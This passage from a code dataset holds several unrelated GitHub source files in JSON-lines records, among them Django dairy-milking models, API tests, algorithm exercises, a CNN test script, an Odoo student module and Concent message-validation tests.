models.IntegerField(null=False, blank=False)\n nome = models.CharField(max_length=255, null=False, blank=False)\n prefixo = models.CharField(\n max_length=31, choices=PREFIXO_CHOICES, null=True, blank=True\n )\n nome_ideagri = models.CharField(max_length=255, null=True, blank=True)\n foto = models.ImageField(null=True, blank=True)\n fazenda = models.ForeignKey(\n Fazenda, null=True, blank=True, on_delete=models.SET_NULL\n )\n\n class Meta:\n unique_together = (\n \"numero\",\n \"nome\",\n )\n\n @property\n def image_tag(self):\n try:\n return mark_safe(f'')\n except Exception:\n return \"\"\n\n\nclass Ordenha(models.Model):\n foto = models.ForeignKey(\n \"FotoOrdenha\", null=True, blank=True, on_delete=models.SET_NULL\n )\n numero = models.IntegerField(null=True, blank=True)\n nome = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n )\n peso_manha = models.FloatField(null=True, blank=True)\n peso_tarde = models.FloatField(null=True, blank=True)\n\n vaca = models.ForeignKey(Vaca, null=True, blank=True, on_delete=models.SET_NULL)\n\n data = models.DateField(null=True, blank=True)\n\n\nclass OrdenhaDetectada(models.Model):\n foto = models.ForeignKey(\n \"FotoOrdenha\", null=True, blank=True, on_delete=models.SET_NULL\n )\n\n ordenha = models.OneToOneField(\n Ordenha, blank=True, null=True, on_delete=models.SET_NULL\n )\n numero = models.CharField(max_length=255, null=True, blank=True)\n nome = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n )\n peso_manha = models.CharField(max_length=255, null=True, blank=True)\n peso_tarde = models.CharField(max_length=255, null=True, blank=True)\n\n\nclass FotoOrdenha(models.Model):\n ordenha_set: Manager[Ordenha]\n ordenhadetectada_set: Manager[OrdenhaDetectada]\n\n labels = models.OneToOneField(\n Labels,\n related_name=\"fotoordenha\",\n blank=True,\n null=False,\n on_delete=models.CASCADE,\n )\n original = models.ImageField()\n dewarped = models.ImageField(null=True, blank=True)\n\n bbox = models.ImageField(null=True, blank=True)\n bounds = models.TextField(null=True, blank=True)\n\n class Meta:\n verbose_name = \"Foto de Ordenhas\"\n verbose_name_plural = \"Fotos de Ordenhas\"\n\n def set_dewarped(self, poly=None):\n if self.dewarped and poly is None:\n return\n from utils.geometry import get_dewarped_poly_with_lines, get_contour\n\n full_path = self.original.path\n image = get_dewarped_poly_with_lines(full_path, poly=poly)\n\n self.dewarped.save(f\"dewarped-{self.original.name}\", image)\n self.bbox.delete()\n\n def set_bbox(self):\n from utils.geometry import get_bbox, bounds_to_dict\n\n if self.bbox or not self.dewarped:\n return\n image, bounds = get_bbox(self.dewarped.path)\n self.bounds = bounds\n self.bbox.save(f\"bbox-{self.original.name}\", image)\n\n self.save()\n\n def save(self, *args, **kwargs):\n try:\n self.labels\n except Exception:\n self.labels = Labels.objects.create(creation_date=timezone.now())\n\n super().save(*args, **kwargs)\n\n def get_ordenha(self):\n table = get_table(self.dewarped.path)\n\n self.ordenha_set.all().delete()\n self.ordenhadetectada_set.all().delete()\n\n vacas = Vaca.objects.values_list(\"numero\", \"nome\")\n\n for num, nome, p1, p2 in process_table(table):\n\n auto_num, auto_nome = closest_vaca((num, nome), vacas)\n\n auto_p1 = fix_peso(p1)\n auto_p2 = fix_peso(p2)\n\n auto_num = auto_num or None\n auto_nome = auto_nome or None\n\n ordenhadetecatada, _ = OrdenhaDetectada.objects.get_or_create(\n foto=self,\n numero=num,\n nome=nome,\n peso_manha=p1,\n peso_tarde=p2,\n )\n\n vaca = Vaca.objects.filter(numero=auto_num, nome=auto_nome).first()\n\n Ordenha.objects.get_or_create(\n foto=self,\n ordenhadetectada=ordenhadetecatada,\n vaca=vaca,\n numero=auto_num,\n nome=auto_nome,\n peso_manha=auto_p1,\n peso_tarde=auto_p2,\n )\n","repo_name":"sprezz-arthur/gestao-fazenda","sub_path":"fazenda/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"25956311048","text":"import pytest\nfrom httpx import AsyncClient\nfrom pyle38 import Tile38\nfrom starlite.status_codes import HTTP_200_OK, HTTP_201_CREATED, HTTP_404_NOT_FOUND\n\nkey = \"fleet\"\nid = \"truck1\"\nlat = 52.25\nlon = 13.37\n\nfeature = {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": [lon, lat]},\n \"properties\": {\"id\": id},\n}\n\n\n@pytest.mark.asyncio\nasync def test_get_vehicle(test_client: AsyncClient, tile38: Tile38):\n await tile38.set(key, id).object(feature).exec()\n\n response = await test_client.get(f\"/vehicles/{id}\")\n\n assert response.status_code == HTTP_200_OK\n\n\n@pytest.mark.asyncio\nasync def test_get_vehicle_notfound(test_client: AsyncClient):\n response = await test_client.get(\"/vehicles/banana\")\n\n assert response.status_code == HTTP_404_NOT_FOUND\n assert response.json() == {\n \"detail\": \"vehicle with id 'banana' not found\",\n \"status_code\": 404,\n }\n\n\n@pytest.mark.asyncio\nasync def test_set_vehicle(test_client: AsyncClient, tile38: Tile38):\n post = await test_client.post(\"/vehicles\", json={\"data\": feature})\n\n assert post.status_code == HTTP_201_CREATED\n\n response = await tile38.get(key, id).asObject()\n\n assert response.object == feature\n","repo_name":"iwpnd/starlite-tile38","sub_path":"src/tests/test_vehicles.py","file_name":"test_vehicles.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"28"} +{"seq_id":"5311631502","text":"'''\n1부터 N까지의 모든 자연수로 구성된 길이 N의 수열이 주어집니다.\n이 수열의 왼쪽 맨 끝 숫자 또는 오른쪽 맨 끝 숫자 중 하나를 가져와 나열하여 가장 긴 증가수열\n을 만듭니다. 이때 수열에서 가져온 숫자(왼쪽 맨 끝 또는 오른쪽 맨 끝)는 그 수열에서 제거됩니\n다.\n예를 들어 2 4 5 1 3 이 주어지면 만들 수 있는 가장 긴 증가수열의 길이는 4입니다.\n맨 처음 왼쪽 끝에서 2를 가져오고, 그 다음 오른쪽 끝에서 3을 가져오고, 왼쪽 끝에서 4,\n왼쪽 끝에서 5를 가져와 2 3 4 5 증가수열을 만들 수 있습니다.\n'''\nimport sys\nsys.stdin=open(\"input.txt\", \"rt\")\nn=int(input())\na=list(map(int, input().split()))\nlt=0\nrt=n-1\n# lt rt 포인터 둠\n# 2 4 5 1 3\n# last보다 lt, rt가 크므로\n# (2,L) (3,R) 튜플 형식으로 대고 더 작은 값인 2 선택 -> last로 삽입\nlast=0\n# 문자열 넣을 변수\nres=\"\"\ntmp=[]\nwhile lt<=rt:\n if a[lt]>last:\n tmp.append((a[lt], 'L'))\n if a[rt]>last:\n tmp.append((a[rt], 'R'))\n tmp.sort()\n # 아무값도 들어가지 않은 경우\n if len(tmp)==0:\n break\n else:\n # 0번은 제일 첫번째 값을 뜻하고 1번은 tuple값에서 위치(L/R)을 뜻함\n res=res+tmp[0][1]\n last=tmp[0][0]\n # tmp에 L이 들어간 경우 lt 포인터를 오른쪽으로 이동\n if tmp[0][1]=='L':\n lt+=1\n # R이 들어간 경우 rt 포인터를 왼쪽으로 이동\n else:\n rt-=1\n tmp.clear()\n#문자열의 길이가 바로 수열의 길이\nprint(len(res))\nprint(res)\n ","repo_name":"solnip/Inflearn-Algorithm","sub_path":"이분탐색(결정알고리즘)&그리디알고리즘/증가수열(그리디).py","file_name":"증가수열(그리디).py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"13292751300","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 12 07:28:25 2021\n\n@author: pulle\n\"\"\"\nimport os\nimport csv\n\nelection_data_csv = os.path.join(\"Resources\", \"election_data.csv\")\n\n# def print_percentages(budget_data):\n# months = str(budget_data[0])\n# profit = str(budget_data[1])\n\ncount = 0\ncandidatelist = []\nunique_candidate = []\nvote_count = []\nvote_percent = []\n\n# Open election_data_csv\n\nwith open(election_data_csv, newline=\"\") as csvfile:\n csvreader = csv.reader(csvfile, delimiter=\",\")\n csv_header = next(csvreader)\n for row in csvreader:\n #count number of votes\n count = count + 1\n # create and add list for candidates\n candidatelist.append(row[2])\n for x in set(candidatelist):\n unique_candidate.append(x)\n # set variable for number of votes per candidate\n y = candidatelist.count(x)\n vote_count.append(y)\n # variable for percent of votes per candidate\n z = (y/count)*100\n round(z, 2)\n vote_percent.append(z)\n vote_percent_round = [round(y, 2) for y in vote_percent] \n\n \n \n \n winning_vote_count = max(vote_count)\n winner = unique_candidate[vote_count.index(winning_vote_count)]\n\n\n \nprint(\"-------------------------\")\nprint(\"Election Results\") \nprint(\"-------------------------\")\nprint(\"Total Votes :\" + str(count)) \nprint(\"-------------------------\")\nfor i in range(len(unique_candidate)):\n print(unique_candidate[i] + \": \" + str(vote_percent_round[i]) +\"% (\" + str(vote_count[i])+ \")\")\nprint(\"-------------------------\")\nprint(\"The winner is: \" + winner)\nprint(\"-------------------------\")\n\n\n\nwith open('election_results.txt', 'w') as text:\n text.write(\"Election Results\\n\")\n text.write(\"---------------------------------------\\n\")\n text.write(\"Total Vote: \" + str(count) + \"\\n\")\n text.write(\"---------------------------------------\\n\")\n for i in range(len(set(unique_candidate))):\n text.write(unique_candidate[i] + \": \" + str(vote_percent_round[i]) +\"% (\" + str(vote_count[i]) + \")\\n\")\n text.write(\"---------------------------------------\\n\")\n text.write(\"The winner is: \" + winner + \"\\n\")\n text.write(\"---------------------------------------\\n\")\n","repo_name":"mattinglyjen/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"74306719114","text":"from ._spider.user_info_spider import UserSpider\nfrom ._spider.user_post_spider import UserPostSpider\nfrom scrapy import Request\n\nclass wb_spider(UserSpider, UserPostSpider):\n name = 'wb_spider'\n\n def init(self, uid, *args, **kwargs):\n super(wb_spider, self).__init__()\n \n def start_requests(self):\n uid_list = self.get_uid_list(self.uid)\n for uid in uid_list:\n u_url = self._u_generator.gen_url(uid)\n yield Request(\n url=u_url, dont_filter=True, callback=self._parse_profile, errback=self.parse_err, meta={'uid': uid}\n )\n p_url = self._up_generator.gen_url(uid=uid, page=None)\n yield Request(\n url=p_url, dont_filter=True, callback=self._parse_post, errback=self.parse_err, meta={'uid': uid, 'last_page': 0}\n )\n ","repo_name":"LonelVino/Spider","sub_path":"wb_spider/spiders/wb_spider.py","file_name":"wb_spider.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"9156744397","text":"from glob import glob\nimport torch\nimport cv2\nimport numpy as np\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\ndef data_loader():\n file_path = 'data/test_image/*.png'\n file_list =sorted(glob(file_path))\n test_data = np.empty((0, 1, 28, 28))\n for img_path in file_list:\n img = cv2.imread(img_path, 0)\n img = cv2.resize(img, (28, 28))\n img = np.reshape(img,(1, 1, 28, 28))\n test_data = np.concatenate([test_data, img], axis=0)\n return torch.from_numpy(test_data/255.).type(torch.FloatTensor)\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Sequential( # (1, 28, 28)\n nn.Conv2d(\n in_channels=1, # 图片的channel,因为是灰度图,如果是rgb图,则是3,相当于输入filter的个数.\n out_channels=16, # 输出filter的个数。同一个区域用16个filter进行卷积.\n kernel_size=5,\n stride=1, # 步长\n padding=2 # 边缘填充0,如果stride = 1, padding =(kernel_size - 1)/2 = (5 - 1) / 2\n ),\n nn.ReLU(), # ->(16, 28, 28)\n nn.MaxPool2d(kernel_size=2) # ->(16, 14, 14)\n )\n self.conv2 = nn.Sequential(\n nn.Conv2d(16, 32, 5, 1, 2), # 和上面顺序一致 # ->(32, 14, 14)\n nn.ReLU(),\n nn.MaxPool2d(2) # ->(32, 7, 7)\n )\n self.out = nn.Linear(32 * 7 * 7, 10)\n\n def forward(self, x):\n x = self.conv1(x) # (batch, 32, 7 ,7)\n x = self.conv2(x)\n x = x.view(x.size(0), -1) # (batch, 32 * 7 * 7)\n output = self.out(x)\n return output\n\ntest_data = data_loader()\ncnn_model = torch.load('cnn.pkl')\npred_y = cnn_model(test_data)\npred_y = torch.max(pred_y, 1)[1].data.numpy()\ntest_data =test_data.numpy()\ntest_data *= 255\ntest_data = np.reshape(test_data,(-1, 28, 28))\nfinal_image = np.empty(shape=(28, 28 * 5))\nfor i in range(4):\n tmp = np.empty(shape=(28, 28))\n for j in range(4):\n tmp = np.concatenate([tmp, test_data[i * 4 + j]], axis= 1)\n final_image = np.concatenate([final_image, tmp], axis=0)\n\n\nprint(pred_y)\nfinal_image = np.uint(final_image)\nplt.imshow(final_image)\nplt.show()","repo_name":"GracefulMan/torch_learning","sub_path":"test_my_cnn.py","file_name":"test_my_cnn.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14268414205","text":"import numpy as np\nimport matplotlib.pyplot as plot\n\n#Einlesen der Daten\nh = 10**(-5)\nt0 = 0\nT = 100\nt = h*np.arange(T/h+1)\nx0 = np.transpose([0, -1, 0, 1])\n\nB = np.identity(4)\nA = np.array( ((0,0,0,0), (1,0,0,0), (0,1,0,0), (0,0,1,0)) )\nq = np.empty([4,T/h+1])\nq[0] = np.sin(t)\n\n#Berechnen der Inversen Matrix 1/h*A+B\nInv = np.linalg.solve(1.0/h*A+B,np.identity(4))\n\n#Erstellen eines leeren Arrays zur Speicherung der Approximation der Lösung der DAE\nx = np.empty([4,T/h+1])\nnp.transpose(x)[0] = x0\n\n#Berechnen der Approximation der Lösung mittels impliziten Euler\nfor i in range(1, int(T/h+1)):\n np.transpose(x)[i] = np.dot(Inv,np.transpose(q)[i]+1.0/h*np.dot(A,np.transpose(x)[i-1]))\n\n#Berechnen der exakten Lösung der DAE an den Stützstellen\nxsol = np.empty([4,T/h+1])\nxsol[0] = np.sin(t)\nxsol[1] = -np.cos(t)\nxsol[2] = -np.sin(t)\nxsol[3] = np.cos(t)\n\ne = x-xsol\n\n#Plotten der komponentenweisen Fehler\nplot.plot(t[np.arange(int(T/(10*h)))*10],e[0][np.arange(int(T/(10*h)))*10])\nplot.xlabel('t')\nplot.ylabel('e_1,n')\nplot.title('global error for x_1')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(10*h)))*10],e[1][np.arange(int(T/(10*h)))*10])\nplot.xlabel('t')\nplot.ylabel('e_2,n')\nplot.title('global error for x_2')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(100*h)))*100],e[2][np.arange(int(T/(100*h)))*100])\nplot.xlabel('t')\nplot.ylabel('e_3,n')\nplot.title('global error for x_3')\nplot.show()\n\nplot.plot(t[np.arange(int(T/(1000*h)))*1000],e[3][np.arange(int(T/(1000*h)))*1000])\nplot.xlabel('t')\nplot.ylabel('e_4,n')\nplot.title('global error for x_4')\nplot.show()\n\n","repo_name":"raphaelzoellner/Implicit-Euler-for-differential-algebraic-equation","sub_path":"NumDAESerie2.py","file_name":"NumDAESerie2.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33925188474","text":"# -*- coding: utf-8 -*-\n# importamos el servicio fields para poder crear los campos para guardar los datos de los alumnos\n# importamos el servicio models para poder administrar la base de datos donde se guardarán los campos creados\nfrom odoo import api, fields, models, _\n# importo un servicio que me permite mostar alertas al usuario cuando sea necesario\nfrom odoo.exceptions import ValidationError\n# declaro una clase llamada Alumnos que hereda todas las propiedades de la clase model.Model\nimport requests as req2\n\nclass Alumnos(models.Model):\n _name = \"curso.alumnos\"\n _description = \"Alumnos Python Odoo\"\n _order = \"id desc\"\n\n name = fields.Char(string='Nombre')\n edad = fields.Integer(string='Edad')\n sexo = fields.Selection([\n ('masculino', 'Masculino'),\n ('femenino', 'Femenino'),\n ('otro', 'Otro'),\n ], required=True, default='femenino', tracking=True)\n categoria = fields.Char(string=\"Categoría\", compute='_cal_categoria', store=True)\n cursos = fields.Many2one('curso.cursos',string=\"Cursos\")\n persona = fields.Many2many('res.partner', string=\"Persona\", tracking=True, help='Seleccione un tutor')\n\n @api.onchange('edad')\n def check_edad_menor_10(self):\n if self.edad < 10 and self.edad > 0:\n\n return {'warning': {'title': _(\"Warning\"), 'message': 'Menor de edad'}}\n\n @api.depends('edad')\n def _cal_categoria(self):\n edad = self[0]['edad']\n if edad > 17:\n self[0]['categoria'] = \"Mayor de Edad\"\n else:\n self[0]['categoria'] = \"Menor de Edad\"\n\n\n @api.constrains('edad')\n def check_age(self):\n for rec in self:\n if rec.edad == 0 or rec.edad > 100:\n raise ValidationError(\"La edad inválida\")\n\n\n def cant_mayores(self):\n cant = 0\n for e in self:\n if e.edad > 17:\n cant = cant + 1\n\n mensaje = f'La cantidad de mayores de edad es: {cant}'\n\n try:\n url = f\"https://curso-python-odoo-flask.alejandrosartor.repl.co/mensaje/{mensaje}\"\n x = req2.get(url)\n except:\n pass\n\n raise ValidationError(mensaje)\n","repo_name":"wsf/curso_python_odoo","sub_path":"clase5/models/alumnos.py","file_name":"alumnos.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"237834273","text":"import shutil \nimport os.path\n\n# Creating the ZIP file\n\nChrome_dir = './Chrome'\nFireFox_dir = './FireFox'\n\narchived = shutil.make_archive('NT_Chrome', 'zip', Chrome_dir)\n\nshutil.copyfile(Chrome_dir+'/NewtubeMain.js', FireFox_dir+'/NewtubeMain.js')\n\nGetVersion = None\n\nwith open(Chrome_dir+'/manifest.json') as Chromefile:\n lines = Chromefile.readlines()\n if (4 <= len(lines)):\n GetVersion = lines[4 - 1]\n\ndef replace_line(filename, line_number, text):\n \n # Open the file and read all the lines from the file into a list 'lines'\n with open(filename) as file:\n lines = file.readlines()\n \n # if the line number is in the file, we can replace it successfully\n if (line_number <= len(lines)):\n \n # Replace the associated line in the list with the replacement text \n # (followed by a newline \\n to end the line), we need to use line_number - 1\n # as the index because lists are zero-indexed in Python.\n lines[line_number - 1] = text\n \n # Open the file in 'writing mode' using the 2nd argument \"w\", this means \n # that the file will be made blank, and any new text we write to the file \n # will become the new file contents.\n with open(filename, \"w\") as file:\n\n # Loop through the list of lines, write each of them to the file\n for line in lines:\n file.write(line)\n \n # otherwise if the line number is past the length of the file, we can't \n # replace the line so output an error message instead\n else:\n \n # Output the line number that was requested to be replaced and the number\n # of lines the file actually has to inform the user\n print(\"Line\", line_number, \"not in file.\")\n print(\"File has\", len(lines), \"lines.\")\n\n# Prompt the user for the filename, line number and replacement text\n\nreplace_line(FireFox_dir+'/manifest.json', 4, GetVersion)\n \narchived = shutil.make_archive('NT_FireFox', 'zip', FireFox_dir)\n","repo_name":"AzPepoze/Newtube","sub_path":"NewtubeAutoPack.py","file_name":"NewtubeAutoPack.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"} +{"seq_id":"40556955687","text":"\"\"\"给定一个包含 n 个整数的数组 nums 和一个目标值 target,判断 nums 中是否存在四个元素 a,b,c 和 d ,使得 a + b + c + d\n的值与 target 相等?找出所有满足条件且不重复的四元组。\n注意:\n答案中不可以包含重复的四元组。\n\n示例:\n给定数组 nums = [1, 0, -1, 0, -2, 2],和 target = 0。\n满足要求的四元组集合为:\n[\n [-1, 0, 0, 1],\n [-2, -1, 1, 2],\n [-2, 0, 0, 2]\n]\n\"\"\"\n\n\nclass Solution:\n def fourSum(self, nums, target):\n import collections, itertools\n two_sum = collections.defaultdict(list) # list 返回[], int 返回的是 0\n res = set() # 集合添加元素 set.add()\n for (n1, i1), (n2, i2) in itertools.combinations(enumerate(nums), 2):\n two_sum[i1+i2].append({n1, n2}) # 列表[]中append:集合【该键值a+b,可能有多个集合的下标】如:{0:[{0,2},{1,3},{4,5}],....}\n for t in list(two_sum.keys()): # Python3 字典 keys()方法返回一个可迭代对象,可以使用 list() 来转换为列表。\n if not two_sum[target-t]: # 没有默认返回的是 []\n continue\n for pair1 in two_sum[t]: # 已经确认该键t(a+b)下,有另外一对键target-t满足题意的情况下,遍历该键t的值列表\n for pair2 in two_sum[target-t]: # 如t=0,则two_sum[t]为列表 [{0,2},{1,3},{4,5}],依次遍历\n if pair1.isdisjoint(pair2): # set.isdisjoint(set) 判断两个集合是否包含相同的元素,如果没有返回 True,否则返回 False\n res.add(tuple(sorted([nums[i] for i in pair1 | pair2]))) # 并集。sorted返回的是列表不能被集合hash,要转成元组tuple。两集合 x&y交集 x|y并集 x-y差集\n del two_sum[t] # 删除字典中已经遍历的项\n return [list(r) for r in res] # return a list of lists of length 4, [[val1,val2,val3,val4]]\n\n\n# print(list(enumerate([-2, -1, 0, 0, 1, 2]))) # [(0, -2), (1, -1), (2, 0), (3, 0), (4, 1), (5, 2)]\n# disjoint 互斥的,不相交的\n\n\n","repo_name":"cp4011/Algorithms","sub_path":"LeetCode/18_四数字和.py","file_name":"18_四数字和.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"23485527129","text":"from unittest import TestCase\nfrom assertpy import assert_that\nimport mock\nimport pytest\nfrom freezegun import freeze_time\n\nfrom golem_messages.factories.concents import SubtaskResultsVerifyFactory\nfrom golem_messages.factories.tasks import ComputeTaskDefFactory\nfrom golem_messages.factories.tasks import ReportComputedTaskFactory\nfrom golem_messages.factories.tasks import SubtaskResultsAcceptedFactory\nfrom golem_messages.factories.tasks import TaskToComputeFactory\nfrom golem_messages.factories.tasks import WantToComputeTaskFactory\nfrom golem_messages.message.concents import ForceGetTaskResultFailed\nfrom golem_messages.message.concents import SubtaskResultsVerify\nfrom golem_messages.message.tasks import ReportComputedTask\nfrom golem_messages.message.tasks import SubtaskResultsRejected\nfrom golem_messages.message.tasks import TaskToCompute\nfrom golem_messages.message.tasks import WantToComputeTask\nfrom golem_messages.utils import encode_hex\nfrom golem_messages.utils import pubkey_to_address\n\nfrom django.conf import settings\n\nfrom common.constants import ErrorCode\nfrom common.exceptions import ConcentValidationError\nfrom common.exceptions import NonPositivePriceTaskToComputeError\nfrom common.helpers import sign_message\nfrom common.testing_helpers import generate_ecc_key_pair\nfrom common.testing_helpers import generate_priv_and_pub_eth_account_key\nfrom common.validations import validate_secure_hash_algorithm\n\nfrom core.constants import ETHEREUM_ADDRESS_LENGTH\nfrom core.constants import MESSAGE_TASK_ID_MAX_LENGTH\nfrom core.exceptions import FrameNumberValidationError\nfrom core.exceptions import GolemMessageValidationError\nfrom core.exceptions import HashingAlgorithmError\nfrom core.subtask_helpers import are_keys_and_addresses_unique_in_message_subtask_results_accepted\nfrom core.subtask_helpers import are_subtask_results_accepted_messages_signed_by_the_same_requestor\nfrom core.tests.utils import ConcentIntegrationTestCase\nfrom core.tests.utils import generate_uuid_for_tests\nfrom core.validation import validate_all_messages_identical\nfrom core.validation import validate_blender_output_format\nfrom core.validation import validate_blender_script_parameters\nfrom core.validation import validate_crops\nfrom core.validation import validate_resolution\nfrom core.validation import validate_samples\nfrom core.validation import validate_use_compositing\nfrom core.validation import validate_compute_task_def\nfrom core.validation import validate_ethereum_addresses\nfrom core.validation import validate_frames\nfrom core.validation import validate_golem_message_subtask_results_rejected\nfrom core.validation import validate_positive_task_price\nfrom core.validation import validate_non_negative_integer_value\nfrom core.validation import validate_positive_integer_value\nfrom core.validation import validate_scene_file\nfrom core.validation import validate_subtask_results_rejected_reason\nfrom core.validation import validate_subtask_results_verify\nfrom core.validation import validate_task_to_compute\nfrom core.validation import validate_uuid\n\n\n(CONCENT_PRIVATE_KEY, CONCENT_PUBLIC_KEY) = generate_ecc_key_pair()\n(PROVIDER_PRIVATE_KEY, PROVIDER_PUBLIC_KEY) = generate_ecc_key_pair()\n(REQUESTOR_PRIVATE_KEY, REQUESTOR_PUBLIC_KEY) = generate_ecc_key_pair()\n(DIFFERENT_PROVIDER_PRIVATE_KEY, DIFFERENT_PROVIDER_PUBLIC_KEY) = generate_ecc_key_pair()\n(DIFFERENT_REQUESTOR_PRIVATE_KEY, DIFFERENT_REQUESTOR_PUBLIC_KEY) = generate_ecc_key_pair()\n(PROVIDER_PRIV_ETH_KEY, PROVIDER_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(REQUESTOR_PRIV_ETH_KEY, REQUESTOR_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(DIFFERENT_PROVIDER_PRIV_ETH_KEY, DIFFERENT_PROVIDER_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(DIFFERENT_REQUESTOR_PRIV_ETH_KEY, DIFFERENT_REQUESTOR_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n\n\nclass TestValidateGolemMessageSubtaskResultsRejected(TestCase):\n def test_that_exception_is_raised_when_subtask_results_rejected_is_of_wrong_type(self):\n with self.assertRaises(ConcentValidationError):\n validate_golem_message_subtask_results_rejected(None)\n\n def test_that_exception_is_raised_when_subtask_results_rejected_contains_invalid_task_to_compute(self):\n task_to_compute = TaskToCompute(want_to_compute_task=WantToComputeTask())\n report_computed_task = ReportComputedTask(task_to_compute=task_to_compute)\n subtask_results_rejected = SubtaskResultsRejected(report_computed_task=report_computed_task)\n with self.assertRaises(ConcentValidationError):\n validate_golem_message_subtask_results_rejected(subtask_results_rejected)\n\n\nclass ValidatorsTest(TestCase):\n def test_that_function_raises_exception_when_ethereum_addres_has_wrong_type(self):\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses(int('1' * ETHEREUM_ADDRESS_LENGTH), 'a' * ETHEREUM_ADDRESS_LENGTH)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * ETHEREUM_ADDRESS_LENGTH, int('1' * ETHEREUM_ADDRESS_LENGTH))\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses(int('1' * ETHEREUM_ADDRESS_LENGTH), int('1' * ETHEREUM_ADDRESS_LENGTH))\n\n def test_that_function_raises_exception_when_ethereum_addres_has_wrong_length(self):\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * 5, 'b' * 5)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * 5, 'b' * ETHEREUM_ADDRESS_LENGTH)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * ETHEREUM_ADDRESS_LENGTH, 'b' * 5)\n\n\nclass TestIntegerValidations:\n\n @pytest.mark.parametrize(('value', 'error_code'), [\n ('5', ErrorCode.MESSAGE_VALUE_WRONG_TYPE),\n (-5, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n (0, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n ]) # pylint: disable=no-self-use\n def test_that_validate_positive_integer_function_raise_exception_when_wrong_value_given(self, value, error_code):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_positive_integer_value(value)\n assert_that(exception_wrapper.value.error_code).is_equal_to(error_code)\n\n @pytest.mark.parametrize(('value', 'error_code'), [\n ('5', ErrorCode.MESSAGE_VALUE_WRONG_TYPE),\n (-5, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n ]) # pylint: disable=no-self-use\n def test_that_validate_non_negative_integer_function_raise_exception_when_wrong_value_given(self, value, error_code):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_non_negative_integer_value(value)\n assert_that(exception_wrapper.value.error_code).is_equal_to(error_code)\n\n def test_that_validate_positive_price_value_causes_non_positive_price_error(self): # pylint: disable=no-self-use\n with pytest.raises(NonPositivePriceTaskToComputeError):\n validate_positive_task_price(0)\n\n\nclass TestValidateAllMessagesIdentical(ConcentIntegrationTestCase):\n\n def setUp(self):\n super().setUp()\n self.report_computed_task = self._get_deserialized_report_computed_task()\n\n def test_that_function_pass_when_in_list_is_one_item(self):\n\n try:\n validate_all_messages_identical([self.report_computed_task])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_function_pass_when_in_list_are_two_same_report_computed_task(self):\n try:\n validate_all_messages_identical([self.report_computed_task, self.report_computed_task])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_function_raise_http400_when_any_slot_will_be_different_in_messages(self):\n different_report_computed_task = self._get_deserialized_report_computed_task(size = 10)\n with self.assertRaises(ConcentValidationError):\n validate_all_messages_identical([self.report_computed_task, different_report_computed_task])\n\n\nUUID: str = generate_uuid_for_tests()\n\n\nclass TestValidateIdValue:\n\n @pytest.mark.parametrize('id_', [\n UUID.replace('-', ''),\n UUID,\n ]) # pylint: disable=no-self-use\n def test_that_function_should_pass_when_value_is_allowed(self, id_):\n\n try:\n validate_uuid(id_)\n except Exception as exception: # pylint: disable=broad-except\n pytest.fail(f'{exception}')\n\n @pytest.mark.parametrize('id_', [\n f'{UUID}{UUID}',\n UUID[1:],\n UUID[:-1],\n UUID + '1',\n '',\n ]) # pylint: disable=no-self-use\n def test_that_function_should_raise_exception_when_value_is_not_allowed(self, id_):\n\n with pytest.raises(ConcentValidationError) as exception:\n validate_uuid(id_)\n assert_that(exception.value.error_code).is_equal_to(ErrorCode.MESSAGE_WRONG_UUID_VALUE)\n\n @pytest.mark.parametrize('id_', [\n int('1' * MESSAGE_TASK_ID_MAX_LENGTH),\n None\n ]) # pylint: disable=no-self-use\n def test_that_function_should_raise_exception_when_type_is_not_allowed(self, id_):\n\n with pytest.raises(ConcentValidationError) as exception:\n validate_uuid(id_)\n 